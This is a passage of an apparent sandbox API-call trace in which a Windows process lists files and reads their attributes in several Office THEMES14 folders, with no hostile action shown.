	[0050.705] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.705] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.705] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x53b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0050.705] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a053d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a053d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb20e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROFILE.ELM", cAlternateFileName="")) returned 1
	[0050.705] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROFILE.INF", cAlternateFileName="")) returned 1
	[0050.705] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4162, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0050.705] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.705] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.705] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), fInfoLevelId=0x0, lpFileInformation=0x1264cb48 | out: lpFileInformation=0x1264cb48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x53b)) returned 1
	[0050.706] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.elm"), fInfoLevelId=0x0, lpFileInformation=0x1264cb98 | out: lpFileInformation=0x1264cb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a053d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a053d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb20e)) returned 1
	[0050.707] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.inf"), fInfoLevelId=0x0, lpFileInformation=0x1264cbe8 | out: lpFileInformation=0x1264cbe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24b)) returned 1
	[0050.707] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), fInfoLevelId=0x0, lpFileInformation=0x1264cc38 | out: lpFileInformation=0x1264cc38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4162)) returned 1
	[0050.707] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad"), fInfoLevelId=0x0, lpFileInformation=0x1264cc88 | out: lpFileInformation=0x1264cc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.707] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.707] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.707] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.707] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x59f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0050.707] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b366a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a8037d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b366a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbba7, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUAD.ELM", cAlternateFileName="")) returned 1
	[0050.708] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUAD.INF", cAlternateFileName="")) returned 1
	[0050.708] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x90f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0050.708] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.708] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.708] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), fInfoLevelId=0x0, lpFileInformation=0x1264ce18 | out: lpFileInformation=0x1264ce18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x59f)) returned 1
	[0050.708] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.elm"), fInfoLevelId=0x0, lpFileInformation=0x1264ce68 | out: lpFileInformation=0x1264ce68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b366a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a8037d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b366a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbba7)) returned 1
	[0050.709] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.inf"), fInfoLevelId=0x0, lpFileInformation=0x1264ceb8 | out: lpFileInformation=0x1264ceb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x258)) returned 1
	[0050.709] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), fInfoLevelId=0x0, lpFileInformation=0x1264cf08 | out: lpFileInformation=0x1264cf08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x90f8)) returned 1
	[0050.709] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial"), fInfoLevelId=0x0, lpFileInformation=0x1264cf58 | out: lpFileInformation=0x1264cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.710] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.710] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.710] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.710] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x682, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0050.710] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c679700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a829930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c679700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADIAL.ELM", cAlternateFileName="")) returned 1
	[0050.710] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADIAL.INF", cAlternateFileName="")) returned 1
	[0050.710] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0050.710] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.711] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.711] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif"), fInfoLevelId=0x0, lpFileInformation=0x1264d0e8 | out: lpFileInformation=0x1264d0e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x682)) returned 1
	[0050.711] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.elm"), fInfoLevelId=0x0, lpFileInformation=0x1264d138 | out: lpFileInformation=0x1264d138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c679700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a829930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c679700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb75e)) returned 1
	[0050.713] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.inf"), fInfoLevelId=0x0, lpFileInformation=0x1264d188 | out: lpFileInformation=0x1264d188*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24a)) returned 1
	[0050.713] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png"), fInfoLevelId=0x0, lpFileInformation=0x1264d1d8 | out: lpFileInformation=0x1264d1d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c6b)) returned 1
	[0050.713] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined"), fInfoLevelId=0x0, lpFileInformation=0x1264d228 | out: lpFileInformation=0x1264d228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.714] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.714] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.714] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.714] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x58f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0050.714] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ec9f100, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ec9f100, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb30e, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFINED.ELM", cAlternateFileName="")) returned 1
	[0050.714] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a84fa90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFINED.INF", cAlternateFileName="")) returned 1
